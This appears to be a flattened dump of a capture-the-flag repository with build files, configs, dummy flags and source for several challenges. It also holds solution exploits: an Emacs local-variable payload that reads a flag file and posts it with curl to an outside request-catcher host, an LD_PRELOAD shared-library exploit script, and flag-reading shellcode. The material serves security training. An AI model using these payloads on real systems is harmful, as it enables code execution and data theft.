30 | print(r.text) -------------------------------------------------------------------------------- /challenges/challenge-06/Dockerfile: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-06/Dockerfile -------------------------------------------------------------------------------- /challenges/challenge-06/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-06/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/0bbfd16a/054d7b96: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/0bbfd16a/054d7b96 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/0bbfd16a/d1475a3a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/0bbfd16a/d1475a3a -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/0bbfd16a/e82bed4f: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/0bbfd16a/e82bed4f -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/15c93851/3019d862: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/15c93851/3019d862 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/15c93851/6c523086: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/15c93851/6c523086 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/15c93851/844af54e: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/15c93851/844af54e -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/15c93851/8d5e5184: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/15c93851/8d5e5184 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/15c93851/cd3f3a04: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/15c93851/cd3f3a04 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/e410c307/0bafe770: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/e410c307/0bafe770 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/e410c307/c03bc6b3: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/e410c307/c03bc6b3 -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/hypertextos: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_build/hypertextos -------------------------------------------------------------------------------- /challenges/challenge-06/release_build/index.html: -------------------------------------------------------------------------------- 1 | #!ipxe 2 | 3 | boot hypertextos 4 | -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/drivers/js/driver_entry.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | global _start 4 | extern entrypoint 5 | 6 | section .text 7 | 8 | ; entrypoint of the linked file 9 | _start: 10 | call entrypoint 11 | ret 12 | -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/drivers/vm/driver_entry.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | global _start 4 | extern entrypoint 5 | 6 | section .text 7 | 8 | ; entrypoint of the linked file 9 | _start: 10 | call entrypoint 11 | ret 12 | -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/drivers/vm/vm_driver.c: -------------------------------------------------------------------------------- 1 | #include "../../kernel/interface.h" 2 | 3 | #include "vm.c" 4 | 5 | void* runVM(uint8_t* code, void* arg0, void* arg1, void* arg2, void* arg3) { 6 | MEM_SLOT appendedData[] = {}; 7 | MEM_SLOT parameter[] = {arg0, arg1, arg2, arg3, NULL}; 8 | return vm(code, appendedData, parameter).pV; 9 | } 10 | 11 | void entrypoint() { 12 | //sys_puts_serial("Loaded VM Driver\n"); 13 | reg_sys(SYSCALL_EXECUTE_VM, runVM); 14 | } -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/kernel/kernel.h: -------------------------------------------------------------------------------- 1 | #ifndef KERNEL_H 2 | #define KERNEL_H 3 | 4 | #include "pxe.h" 5 | 6 | // Enable A20 Line Functions (a20.c) 7 | uint8_t checkA20(); 8 | void initA20(); 9 | void activateA20(); 10 | 11 | // Print Routines (print.c) 12 | void putchar_serial(uint8_t c); 13 | void puts_serial(char* str); 14 | 15 | void putchar(uint8_t c); 16 | void puts(char* str); 17 | 18 | char waitForKey(); 19 | 20 | // debugg-y stuff 21 | void printNewline(); 22 | void printHex(uint8_t hex); 23 | void printAddr(uint32_t hex); 24 | void exit(char* msg, int code); 25 | 26 | // PXE Stuff 27 | void initPXE(SEGOFF16 pxe); 28 | uint32_t readFile(char* filePath, uint8_t* dest, uint32_t maxSize); 29 | 30 | 31 | void strcpy(volatile char* dest, char* src); 32 | 33 | #endif -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/kernel/kernel_entry.asm: -------------------------------------------------------------------------------- 1 | bits 32 2 | 3 | global _start 4 | global PXEAPI 5 | global INTWRAPPER 6 | 7 | extern entrypoint 8 | extern INT_HANDLER 9 | 10 | 11 | section .text 12 | 13 | ; entrypoint of the linked file 14 | _start: 15 | call entrypoint 16 | add esp, 4 17 | 18 | ; hlt loop after execution 19 | done: 20 | hlt 21 | jmp done 22 | 23 | 24 | ; invoke PXEAPI through going back to Real Mode 25 | PXEAPI: 26 | jmp dword [0x7C04] 27 | 28 | 29 | ; wrapper for interrupts 30 | INTWRAPPER: 31 | pushfd 32 | pushad 33 | call INT_HANDLER 34 | popad 35 | popfd 36 | iret -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/vm/Obfuscat-v1.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-06/release_source/vm/Obfuscat-v1.1.jar -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/web/check.js: -------------------------------------------------------------------------------- 1 | let st=0;let pa="";let re=function() {s.s(0);p("[------------------------------------------------------------------------------]");p("SECRET FLAG STORAGE:\n");p("\n");p("Password needed to see flag\n");p("\n");p("Press ENTER to submit password to unlock flag\n");p("[------------------------------------------------------------------------------]");p("# ");ek();};s.kd=function() {let ky=s.k();if(ky===10){if(st===0){re();let o=rvm("/0bbfd16a/d1475a3a",pa,pa.length);if(o===0){p("Wrong Password...");p("\n");p("Press ENTER to get back\n");}else{ejs("/15c93851/"+pa);}st=1;}else if(st===1){ejs("/15c93851/844af54e");}}else{if(st===0){pa+=ts(ky);re();p(pa);}}};re(); -------------------------------------------------------------------------------- /challenges/challenge-06/release_source/web/encrypt.js: -------------------------------------------------------------------------------- 1 | let st=0;let ip="";let iB={length:0};let re=function(){s.s(0);p("[------------------------------------------------------------------------------]");p("Encrypt Input (End at ENTER)\n");p("[------------------------------------------------------------------------------]");ek();};let par=function(ar){for(let i=0;i0;am=am-16){let b="";let i=0;for(;i 2 | #include 3 | 4 | char *base64_encode(const unsigned char *data, 5 | size_t input_length, 6 | size_t *output_length); 7 | 8 | unsigned char *base64_decode(const char *data, 9 | size_t input_length, 10 | size_t *output_length); 11 | 12 | void build_decoding_table(); -------------------------------------------------------------------------------- /challenges/challenge-07/chall/signature.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | RSA* createPrivateRSA(char* key); 7 | bool RSASign( RSA* rsa, 8 | const unsigned char* Msg, 9 | size_t MsgLen, 10 | unsigned char** EncMsg, 11 | size_t* MsgLenEnc); 12 | RSA* createPublicRSA(char* key); 13 | bool RSAVerifySignature(RSA* rsa, 14 | unsigned char* MsgHash, 15 | size_t MsgHashLen, 16 | const char* Msg, 17 | size_t MsgLen, 18 | bool* Authentic); -------------------------------------------------------------------------------- /challenges/challenge-07/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-07/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-07/solution/send_user_req.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | curl 'http://localhost:8000/' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:107.0) Gecko/20100101 Firefox/107.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate, br' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Sec-Fetch-Dest: document' -H 'Sec-Fetch-Mode: navigate' -H 'Sec-Fetch-Site: same-origin' -H 'Sec-Fetch-User: ?1' -H 'Authorization: Bearer eyd1c2VyJzogJ2Fub255bW91cycsICdyb2xlJzogJ3VzZXInfQ==.TefW65Q3El4mW7I8cxvvbF/eB5Sqonjrau2Myuvo4aKj/Yud9jAamt7mKRGWcKklHcQYoIBZ9rmwGJklfcLdOnXVNwve8OTPuLXui8BeTjPBw5vlVmacfdvkAGPyjy30ReG6v85oaYW1wQxtj64fjeMGVL0blBJZxjQ0iWnwm8+R/IYTTVrp9t8czBSkcObo/OC3lytgao3yUn2RippbaIDY33wkCvUIRckjHTVbNIhHVnJBpzOxOhzqlfrxEc3Qd4PRjpRAJxzQ5xR8bn8odCQJ88sdjIN2AjSYGWTFLOju/chk70C/hvWCbNSJQDnJoJ7esZeXe5g1jPz5a2+ACg==' -H 'Pragma: no-cache' -H 'Cache-Control: no-cache' -------------------------------------------------------------------------------- /challenges/challenge-08/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-08/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-09/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-09/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:22.04 AS app 2 | 3 | ARG DEBIAN_FRONTEND="noninteractive" 4 | RUN apt update 5 | RUN apt -y install qemu-system-x86 6 | 7 | WORKDIR /app/ 8 | 9 | ADD run.sh ./run 10 | ADD prebuilt_system ./prebuilt_system 11 | 12 | 13 | FROM pwn.red/jail 14 | COPY --from=app / /srv 15 | 16 | ENV JAIL_PORT=31337 JAIL_TIME=300 JAIL_CONNS=500 JAIL_CONNS_PER_IP=5 JAIL_PIDS=20 JAIL_MEM=300M JAIL_CPU=300 JAIL_POW=5000 17 | -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '2.4' 2 | 3 | services: 4 | potluck: 5 | build: . 6 | privileged: true 7 | ports: 8 | - "31337:31337" 9 | pids_limit: 1000 10 | restart: always 11 | stop_grace_period: 0s 12 | -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/flag: -------------------------------------------------------------------------------- 1 | potluck{dummy_flag} -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/init: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -e 3 | 4 | # The bare minimum to get the system working. Mostly 5 | # copied from the init script of the `hypersecure` 6 | # challenge from hxp CTF 2022 and the `flipper` challenge 7 | # from zer0pts CTF 2023 (thanks guys). 8 | 9 | mkdir -p /etc /proc /sys /tmp 10 | mount -t proc none /proc 11 | mount -t sysfs none /sys 12 | mdev -s 13 | 14 | mkdir -p /dev/shm /dev/pts 15 | mount -t tmpfs tmpfs /dev/shm 16 | mount -t tmpfs tmpfs /tmp 17 | mount -t devpts none /dev/pts 18 | chmod 666 /dev/ptmx 19 | 20 | echo 'root:x:0:0:root:/root:/bin/sh' > /etc/passwd 21 | echo 'potluck:x:31337:31337:potluck:/tmp:/bin/sh' >> /etc/passwd 22 | echo 'root:x:0:' > /etc/group 23 | echo 'potluck:x:31337:' >> /etc/group 24 | chmod 644 /etc/passwd 25 | chmod 644 /etc/group 26 | 27 | setsid /bin/cttyhack setuidgid 31337 /bin/sh 28 | 29 | umount /proc 30 | umount /sys 31 | poweroff -d 1 -n -f 32 | -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/potluck.config: -------------------------------------------------------------------------------- 1 | CONFIG_64BIT=y 2 | CONFIG_BLK_DEV_INITRD=y 3 | CONFIG_BINFMT_ELF=y 4 | CONFIG_BINFMT_SCRIPT=y 5 | CONFIG_BLK_DEV_RAM=y 6 | CONFIG_SERIAL_8250=y 7 | CONFIG_SERIAL_8250_CONSOLE=y 8 | CONFIG_PROC_FS=y 9 | CONFIG_SYSFS=y 10 | CONFIG_TMPFS=y 11 | CONFIG_EARLY_PRINTK=y 12 | -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/prebuilt_system/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-09/challenge/prebuilt_system/.gitkeep -------------------------------------------------------------------------------- /challenges/challenge-09/challenge/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | set -e 4 | 5 | qemu-system-x86_64 \ 6 | -initrd prebuilt_system/initramfs.cpio.gz \ 7 | -kernel prebuilt_system/bzImage \ 8 | -append "root=/dev/ram console=ttyS0 oops=panic quiet" \ 9 | -nographic \ 10 | -monitor /dev/null \ 11 | -m 256 \ 12 | -smp 1 \ 13 | -no-reboot 14 | -------------------------------------------------------------------------------- /challenges/challenge-09/solution/payload.asm: -------------------------------------------------------------------------------- 1 | BITS 64 2 | 3 | ; open /flag 4 | mov eax, 2 5 | mov rdi, 0x67616c662f 6 | push rdi 7 | mov rdi, rsp 8 | mov esi, 0 ; O_RDONLY 9 | xor edx, edx ; flags 10 | syscall 11 | cmp rax, 0 12 | jl fail 13 | mov r12, rax 14 | 15 | ; read/write the flag to stdout byte-by-byte 16 | rw_loop: 17 | mov eax, 0 18 | mov rdi, r12 19 | mov rsi, rsp 20 | mov edx, 1 21 | syscall 22 | cmp rax, 0 23 | je succeed 24 | jl fail 25 | 26 | mov eax, 1 27 | mov rdi, 1 28 | mov rsi, rsp 29 | mov edx, 1 30 | syscall 31 | cmp rax, 1 32 | jne fail 33 | 34 | jmp rw_loop 35 | 36 | fail: 37 | ud2 38 | 39 | succeed: 40 | mov eax, 60 41 | mov edi, 0 42 | syscall 43 | -------------------------------------------------------------------------------- /challenges/challenge-09/solution/pwn.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | set -e 3 | 4 | # A golfed ELF .so library that prints the flag to stdout. Generated by build.py. 5 | base64 -d </tmp/pwn.so 6 | H4sIAFxujWUAA6t39XFjYmRkgAFmBjsGEG8DgwKY7wAV90EoAYpZMDABSSagSpAwKwMyUEChLaH6 7 | YDSDAIRiAmIWIJaEiksyKqDQqKYwMMC07wBp9Nivn5aTmA5khXt0Pt8HEje8xM/q0fyDocbSs/PI 8 | DrCLO597dD7bBdIIkSpRqJHZAeLuBxEocoylTK9P8XPvsAHJMoBF2RhQAQ+UhgWMXkplXmJuZjKD 9 | XnFGcUlRSWISWJgN6jdUP2H3CzrgZACFPyaAhZ0wDn0wAAB9ypXjzAEAAA== 10 | EOF 11 | 12 | evil=$(yes | tr -d '\n' | head -c 80000) 13 | unset $(set | grep '^.*=' | grep -v evil | cut -f1 -d=) 14 | 15 | fd=3 16 | while [ $fd -le 1000 ] 17 | do 18 | eval "exec ${fd}<&0" 19 | fd=$(( fd + 1 )) 20 | done 21 | 22 | LD_PRELOAD=/tmp/pwn.so /usr/bin/printf 'No luck, please try running the exploit again\n' ${evil} 23 | -------------------------------------------------------------------------------- /challenges/challenge-10/README.md: -------------------------------------------------------------------------------- 1 | # Challenges setup Hungry Helmsman 2 | 3 | ## Create a Kubernetes Cluster 4 | 5 | You can create a Kubernetes using [kind](https://kind.sigs.k8s.io/) or [minikube](https://minikube.sigs.k8s.io/docs/start/). Both distros can run on your local machine, that you dont need to spend $$$ on the Cloud Kubernetes distros, but they also work! 6 | 7 | ## Install Challenge 8 | 9 | Once your Cluster is up and running apply the resources. 10 | 11 | ``` 12 | kubectl apply -f challenge.yaml 13 | kubectl apply -f user.yaml 14 | ``` 15 | 16 | Afterwards create the token for the ctf-player account. 17 | 18 | ``` 19 | kubectl create token ctf-player 20 | ``` 21 | 22 | The output should be a valid Kubenretes API token. You should use this token to talk to the API Server. 23 | 24 | 25 | ``` 26 | kubectl get pods --token 27 | 28 | or 29 | 30 | alias kubectl='kubectl --token ' 31 | ``` 32 | 33 | Now you are ready to play the challenge. 34 | -------------------------------------------------------------------------------- /challenges/challenge-10/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-10/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-11/.env: -------------------------------------------------------------------------------- 1 | FLAG=potluck{uu_make_me_go_crazy} -------------------------------------------------------------------------------- /challenges/challenge-11/bot/Dockerfile-bot: -------------------------------------------------------------------------------- 1 | FROM ghcr.io/puppeteer/puppeteer:latest 2 | 3 | WORKDIR /app 4 | 5 | COPY bot.js . 6 | COPY public/ ./public/ 7 | 8 | USER root 9 | RUN npm install express puppeteer 10 | 11 | USER pptruser 12 | CMD ["node", "bot.js"] -------------------------------------------------------------------------------- /challenges/challenge-11/bot/public/49098094583_78bd8fb108.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-11/bot/public/49098094583_78bd8fb108.jpg -------------------------------------------------------------------------------- /challenges/challenge-11/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-11/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-11/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: '3' 2 | services: 3 | nginx: 4 | build: 5 | context: ./nginx 6 | dockerfile: Dockerfile-nginx 7 | ports: 8 | - 31337:80 9 | 10 | php: 11 | build: 12 | context: ./php 13 | dockerfile: Dockerfile-php 14 | depends_on: 15 | - nginx 16 | 17 | bot: 18 | build: 19 | context: ./bot 20 | dockerfile: Dockerfile-bot 21 | environment: 22 | - FLAG=${FLAG} 23 | depends_on: 24 | - nginx 25 | - php 26 | 27 | -------------------------------------------------------------------------------- /challenges/challenge-11/nginx/Dockerfile-nginx: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | COPY default.conf /etc/nginx/conf.d/default.conf -------------------------------------------------------------------------------- /challenges/challenge-11/nginx/default.conf: -------------------------------------------------------------------------------- 1 | # Complete Nginx Docker reverse proxy config file 2 | map $request_method $limit { 3 | default ""; 4 | POST $binary_remote_addr; 5 | } 6 | # Creates 10mb zone in memory for storing binary ips 7 | limit_req_zone $limit zone=post_limit:10m rate=4r/m; 8 | 9 | server { 10 | listen 80; 11 | listen [::]:80; 12 | 13 | location = /admin { 14 | limit_req zone=post_limit burst=3 nodelay; 15 | proxy_pass http://bot:3000/; 16 | } 17 | 18 | location / { 19 | proxy_pass http://php; 20 | } 21 | 22 | } # End of Docker Nginx reverse proxy example file -------------------------------------------------------------------------------- /challenges/challenge-11/php/49098094583_78bd8fb108.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-11/php/49098094583_78bd8fb108.jpg -------------------------------------------------------------------------------- /challenges/challenge-11/php/Dockerfile-php: -------------------------------------------------------------------------------- 1 | FROM php:apache-bullseye 2 | 3 | COPY ./index.php /var/www/html/ 4 | COPY ./style.css /var/www/html/ 5 | COPY ./49098094583_78bd8fb108_5k.jpg /var/www/html/ 6 | COPY ./icons8-oven-64.png /var/www/html/ 7 | -------------------------------------------------------------------------------- /challenges/challenge-11/php/icons8-oven-64.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-11/php/icons8-oven-64.png -------------------------------------------------------------------------------- /challenges/challenge-12/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-12/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-12/challenge/.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | solve.py 3 | payload.c 4 | -------------------------------------------------------------------------------- /challenges/challenge-12/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | swgcc710-cross-6b-9916.tar.gz 2 | out 3 | -------------------------------------------------------------------------------- /challenges/challenge-12/challenge/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | . check-build.sh 4 | 5 | REPO=${REPO:-potluck-ctf-challenge-12} 6 | TAG=${TAG:-latest} 7 | 8 | docker build -t "$REPO:$TAG" . 9 | -------------------------------------------------------------------------------- /challenges/challenge-12/challenge/check-build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | if [ ! -f swgcc710-cross-6b-9916.tar.gz ]; then 4 | echo "Missing swgcc710-cross-6b-9916.tar.gz." 5 | # Original link: https://forum.developer.wxiat.com/forum.php?mod=viewthread&tid=339 (use Google Translate) 6 | # It is quite a hassle to download from Baidu Pan in script :( 7 | echo "You may download it from https://pan.baidu.com/s/1-oKKEdYJOFkrVArHCzkByw (password: 5u05)" 8 | exit 1 9 | fi 10 | 11 | sha256sum -c < 2 | 3 | int main(int argc, char* argv[], char* envp[]) { 4 | return execl("/usr/bin/qemu-sw64", "/usr/bin/qemu-sw64", "/usr/bin/challenge", NULL); 5 | } -------------------------------------------------------------------------------- /challenges/challenge-12/challenge/pack-release.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash -e 2 | 3 | cd "$(dirname "$0")" 4 | 5 | export SOURCE_DATE_EPOCH="1563712200" 6 | export GIT_REV="$(git rev-parse --short HEAD)" 7 | 8 | git archive --format zip --output "out/src-$GIT_REV.zip" HEAD . 9 | 10 | tar --sort=name \ 11 | --mtime="@${SOURCE_DATE_EPOCH}" \ 12 | --owner=0 --group=0 --numeric-owner \ 13 | --transform='s,.*/,,' \ 14 | -czf "out/challenge12-dist.tgz" \ 15 | "challenge.c" 16 | 17 | . check-build.sh 18 | 19 | REPO=${REPO:-potluck-ctf-challenge-12} 20 | TAG=${TAG:-r$GIT_REV} 21 | docker buildx build --output type=oci,dest=- -t "$REPO:$TAG" . | zstd -c > out/oci-image.tar.zst 22 | -------------------------------------------------------------------------------- /challenges/challenge-13/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM debian:bullseye-slim 2 | 3 | EXPOSE 31337 4 | 5 | ENV DEBIAN_FRONTEND=noninteractive 6 | RUN apt-get -y update && \ 7 | apt-get -y install socat curl python3 emacs-nox 8 | 9 | WORKDIR /app 10 | COPY flag.txt . 11 | COPY chall.py . 12 | COPY config.el . 13 | 14 | RUN useradd --system ctf 15 | USER ctf 16 | 17 | CMD socat -T 60 \ 18 | TCP-LISTEN:31337,nodelay,reuseaddr,fork \ 19 | EXEC:"stdbuf -i0 -o0 -e0 python3 /app/chall.py" 20 | -------------------------------------------------------------------------------- /challenges/challenge-13/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-13/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-13/challenge/chall.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | import subprocess 3 | import os 4 | import pty 5 | import base64 6 | 7 | 8 | recipe = input("Give me your favourite macrowave cooking recipe! ") 9 | filename = f"/tmp/recipe-{os.urandom(32).hex()}.org" 10 | with open(filename, "wb") as f: 11 | f.write(base64.b64decode(recipe)) 12 | 13 | m, s = pty.openpty() 14 | subprocess.run(["timeout", "15", "emacs", "-q", "-l", "./config.el", "-nw", filename], 15 | stdin=s, 16 | stdout=subprocess.DEVNULL, 17 | stderr=subprocess.DEVNULL) 18 | -------------------------------------------------------------------------------- /challenges/challenge-13/challenge/compose.yaml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | macrowave: 5 | build: . 6 | restart: unless-stopped 7 | tty: true 8 | ports: 9 | - 31337:31337 -------------------------------------------------------------------------------- /challenges/challenge-13/challenge/config.el: -------------------------------------------------------------------------------- 1 | (defvar cooking-motivation-generator 2 | '(let* ((random-number (random 3)) 3 | (messages '("Never give up!" 4 | "Do the impossible, see the invisible!" 5 | "Believe in me that believes in you!")) 6 | (random-message (nth random-number messages))) 7 | (message random-message))) 8 | (make-variable-buffer-local 'cooking-motivation-generator) 9 | (put 'cooking-motivation-generator 'safe-local-variable (lambda (_) t)) 10 | (run-with-timer 2 2 (lambda () (eval cooking-motivation-generator))) 11 | -------------------------------------------------------------------------------- /challenges/challenge-13/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | potluck{(theres-only-one-answer '(https://youtu.be/V3QF1uAvbkU))} 2 | -------------------------------------------------------------------------------- /challenges/challenge-13/solution/solution.org: -------------------------------------------------------------------------------- 1 | # Local Variables: 2 | # cooking-motivation-generator: (shell-command (concat "curl -X POST -d '" (subst-char-in-string ?' ?@ (with-temp-buffer (insert-file-contents "/app/flag.txt") (buffer-string))) "' https://nyaaa.requestcatcher.com/test")) 3 | # End: 4 | -------------------------------------------------------------------------------- /challenges/challenge-13/solution/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from pwn import * 3 | 4 | 5 | recipe = """# Local Variables: 6 | # cooking-motivation-generator: (shell-command (concat "curl -X POST -d \\"" (with-temp-buffer (insert-file-contents "/app/flag.txt") (buffer-string)) "\\" https://nyaaa.requestcatcher.com/test")) 7 | # End: 8 | """ 9 | print(recipe) 10 | print(base64.b64encode(recipe.encode())) 11 | io = remote("0.0.0.0", 31337) 12 | io.sendlineafter(b"! ", base64.b64encode(recipe.encode())) 13 | io.interactive() 14 | -------------------------------------------------------------------------------- /challenges/challenge-14/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-14/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-14/release/checker.pyc: -------------------------------------------------------------------------------- 1 | ../src/out.pyc -------------------------------------------------------------------------------- /challenges/challenge-14/release/instructions.bin: -------------------------------------------------------------------------------- 1 | ../src/instructions.bin -------------------------------------------------------------------------------- /challenges/challenge-14/src/flagchecker/t.py: -------------------------------------------------------------------------------- 1 | E = 1 2 | if E: 3 | M = b"" 4 | C=exit 5 | P=bool 6 | N=IndexError 7 | I=range 8 | E=print 9 | C=exit 10 | l = [] 11 | F=1 12 | h="" 13 | Q=bytearray([]) 14 | H=[0]*4 15 | A=0 16 | U=0 17 | V=1 18 | W=2 19 | X=3 20 | Y=4 21 | Z=5 22 | a=6 23 | b=7 24 | O=open("instructions.bin", "rb").read() 25 | S=O[:4] 26 | T=int.from_bytes(O[4:8],"little") 27 | D=list(O[8:]) 28 | R = 0 29 | if S!=b"LEGO":C(1) 30 | L = "" 31 | from types import CodeType 32 | 33 | m = CodeType(0, 0, 0, 0, 0, 0x00000040, m_bytecode, m_co_consts, m_co_names, (), "", "main", "main", 1, b"", b"", (), ()) 34 | 35 | while D: 36 | exec(m) 37 | 38 | if E: 39 | if F: 40 | print("Accepted!") 41 | else: 42 | print("Rejected!") -------------------------------------------------------------------------------- /challenges/challenge-14/src/instructions.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-14/src/instructions.bin -------------------------------------------------------------------------------- /challenges/challenge-14/src/out.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ZetaTwo/potluckctf/9a79e5951900812748efa249033368d459df1d61/challenges/challenge-14/src/out.pyc -------------------------------------------------------------------------------- /challenges/challenge-15/challenge.yml: -------------------------------------------------------------------------------- 1 | ../../challenge-deployment/challenge-15/challenge.yml -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:21-alpine 2 | 3 | RUN apk update && apk add texmf-dist texlive-full imagemagick php82-cgi 4 | RUN apk add gcc libc-dev 5 | 6 | WORKDIR / 7 | COPY app /app 8 | COPY Dockerfile /Dockerfile 9 | COPY actual-flag /app/actual-flag 10 | RUN chmod +x /app/start.sh /app/setup.sh 11 | RUN /app/setup.sh 12 | 13 | EXPOSE 8080 14 | 15 | ENTRYPOINT [ "/app/start.sh" ] -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/actual-flag: -------------------------------------------------------------------------------- 1 | potluck{christmas_brings_the_categories_together} 2 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/flag.txt: -------------------------------------------------------------------------------- 1 | Nice try, but LFI is boring :) find the flag by executing /app/readflag -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | node_modules 3 | /build 4 | /.svelte-kit 5 | /package 6 | .env 7 | .env.* 8 | !.env.example 9 | vite.config.js.timestamp-* 10 | vite.config.ts.timestamp-* 11 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/.npmrc: -------------------------------------------------------------------------------- 1 | engine-strict=true 2 | -------------------------------------------------------------------------------- /challenges/challenge-15/challenge/app/frontend/README.md: -------------------------------------------------------------------------------- 1 | # create-svelte 2 | 3 | Everything you need to build a Svelte project, powered by 